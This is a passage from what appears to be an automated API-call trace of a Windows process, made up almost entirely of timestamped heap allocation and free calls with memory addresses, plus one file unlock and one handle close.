lpMem=0xe55d38 | out: hHeap=0x3b0000) returned 1 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe2fdf8 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fdf8 | out: hHeap=0x3b0000) returned 1 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10e58 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10ea0 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10e58 | out: hHeap=0x3b0000) returned 1 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac08 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac48 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab98 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac08 | out: hHeap=0x3b0000) returned 1 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac08 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe33738 [0199.154] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe10e58 [0199.154] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac08 | out: hHeap=0x3b0000) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac08 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ea0 | out: hHeap=0x3b0000) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e1f8 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e1f8 | out: hHeap=0x3b0000) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e1f8 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e3b0 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e1f8 | out: hHeap=0x3b0000) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab98 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac48 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abe8 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab98 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8c0 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe4e1f8 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab98 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abe8 | out: hHeap=0x3b0000) returned 1 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe16080 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16080 | out: hHeap=0x3b0000) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e3b0 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e2a8 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e3b0 | out: hHeap=0x3b0000) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abe8 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac48 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abf8 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abe8 | out: hHeap=0x3b0000) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abe8 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4bdc0 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe4e3b0 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe336a8 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bb88 | out: hHeap=0x3b0000) returned 1 [0199.155] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abe8 | out: hHeap=0x3b0000) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abe8 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abf8 | out: hHeap=0x3b0000) returned 1 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e2a8 | out: hHeap=0x3b0000) returned 1 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x76) returned 0xe25718 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe25718 | out: hHeap=0x3b0000) returned 1 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe25718 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe26c98 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe25718 | out: hHeap=0x3b0000) returned 1 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abf8 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac48 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab88 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abf8 | out: hHeap=0x3b0000) returned 1 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abf8 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe0bb88 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x72) returned 0xe25718 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abf8 | out: hHeap=0x3b0000) returned 1 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abf8 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26c98 | out: hHeap=0x3b0000) returned 1 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8a) returned 0xe34a30 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe34a30 | out: hHeap=0x3b0000) returned 1 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe0b2d0 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe054b0 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0b2d0 | out: hHeap=0x3b0000) returned 1 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab88 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac48 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abd8 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.156] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54a48 [0199.156] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x86) returned 0xe0b2d0 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ab88 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abd8 | out: hHeap=0x3b0000) returned 1 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe054b0 | out: hHeap=0x3b0000) returned 1 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x54) returned 0xe16080 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16080 | out: hHeap=0x3b0000) returned 1 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e2a8 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e358 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e2a8 | out: hHeap=0x3b0000) returned 1 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abd8 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac48 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aba8 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abd8 | out: hHeap=0x3b0000) returned 1 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4abd8 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54a88 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e2a8 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abd8 | out: hHeap=0x3b0000) returned 1 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4abd8 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e358 | out: hHeap=0x3b0000) returned 1 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe2fdf8 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fdf8 | out: hHeap=0x3b0000) returned 1 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32a38 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32ab8 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32a38 | out: hHeap=0x3b0000) returned 1 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55210 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55288 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe551e0 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55288 | out: hHeap=0x3b0000) returned 1 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55210 | out: hHeap=0x3b0000) returned 1 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aba8 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4c3c8 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe32a38 [0199.157] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0199.157] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe55210 [0199.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551e0 | out: hHeap=0x3b0000) returned 1 [0199.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32ab8 | out: hHeap=0x3b0000) returned 1 [0199.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32ab8 [0199.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32ab8 | out: hHeap=0x3b0000) returned 1 [0199.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55d38 [0199.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55d70 [0199.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55d38 | out: hHeap=0x3b0000) returned 1 [0199.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aba8 [0199.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac48 [0199.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0199.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac48 | out: hHeap=0x3b0000) returned 1 [0199.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0199.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aba8 [0199.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4c3e8 [0199.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55d38 [0199.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe4e358 [0199.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe336a8 | out: hHeap=0x3b0000) returned 1 [0199.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0199.158] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4aba8 [0199.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.158] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55d70 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1f868 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fda8 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe552e8 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c90 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55300 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fd58 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55318 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4e300 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55168 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe155a0 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe552b8 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26c18 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55330 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe34ac8 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551c8 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15f60 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55258 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fc18 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe552d0 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe320b8 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551b0 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4c018 | out: hHeap=0x3b0000) returned 1 [0199.159] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be48 | out: hHeap=0x3b0000) returned 1 [0199.160] UnlockFileEx (in: hFile=0x380, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b5b8 | out: lpOverlapped=0x2a7b5b8) returned 1 [0199.160] CloseHandle (hObject=0x380) returned 1 [0199.160] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0199.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0199.160] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0199.160] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acc8 | out: hHeap=0x3b0000) returned 1 [0199.160] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe26998 | out: hHeap=0x3b0000) returned 1 [0199.160] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bc60 | out: hHeap=0x3b0000) returned 1 [0199.160] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0199.160] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.160] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0199.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acf8 | out: hHeap=0x3b0000) returned 1 [0199.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55c58 | out: hHeap=0x3b0000) returned 1 [0199.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bda0 | out: hHeap=0x3b0000) returned 1 [0199.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.161] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0199.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.161] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0199.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac98 | out: hHeap=0x3b0000) returned 1 [0199.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55b40 | out: hHeap=0x3b0000) returned 1 [0199.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bcc0 | out: hHeap=0x3b0000) returned 1 [0199.161] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.161] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0199.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.162] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0199.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac68 | out: hHeap=0x3b0000) returned 1 [0199.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10ee8 | out: hHeap=0x3b0000) returned 1 [0199.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bce0 | out: hHeap=0x3b0000) returned 1 [0199.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.162] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0199.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.162] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe15f60 [0199.162] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0199.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe58350 | out: hHeap=0x3b0000) returned 1 [0199.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bc80 | out: hHeap=0x3b0000) returned 1 [0199.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15f60 | out: hHeap=0x3b0000) returned 1 [0199.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0199.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0199.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4abc8 | out: hHeap=0x3b0000) returned 1 [0199.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11f48 | out: hHeap=0x3b0000) returned 1 [0199.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bd00 | out: hHeap=0x3b0000) returned 1 [0199.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0199.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.164] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0199.164] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4acd8 | out: hHeap=0x3b0000) returned 1 [0199.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe05420 | out: hHeap=0x3b0000) returned 1 [0199.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bd40 | out: hHeap=0x3b0000) returned 1 [0199.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.165] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0199.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.165] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4) returned 0xe4ac28 [0199.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ace8 | out: hHeap=0x3b0000) returned 1 [0199.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12ec0 | out: hHeap=0x3b0000) returned 1 [0199.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bd60 | out: hHeap=0x3b0000) returned 1 [0199.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.165] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0199.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.165] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xe) returned 0xe551b0 [0199.165] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55378 | out: hHeap=0x3b0000) returned 1 [0199.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32a78 | out: hHeap=0x3b0000) returned 1 [0199.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4bd80 | out: hHeap=0x3b0000) returned 1 [0199.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe551b0 | out: hHeap=0x3b0000) returned 1 [0199.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ac28 [0199.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac28 | out: hHeap=0x3b0000) returned 1 [0199.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ac28 [0199.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ac78 | out: hHeap=0x3b0000) returned 1 [0199.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10870 | out: hHeap=0x3b0000) returned 1 [0199.166] HeapFree (in: 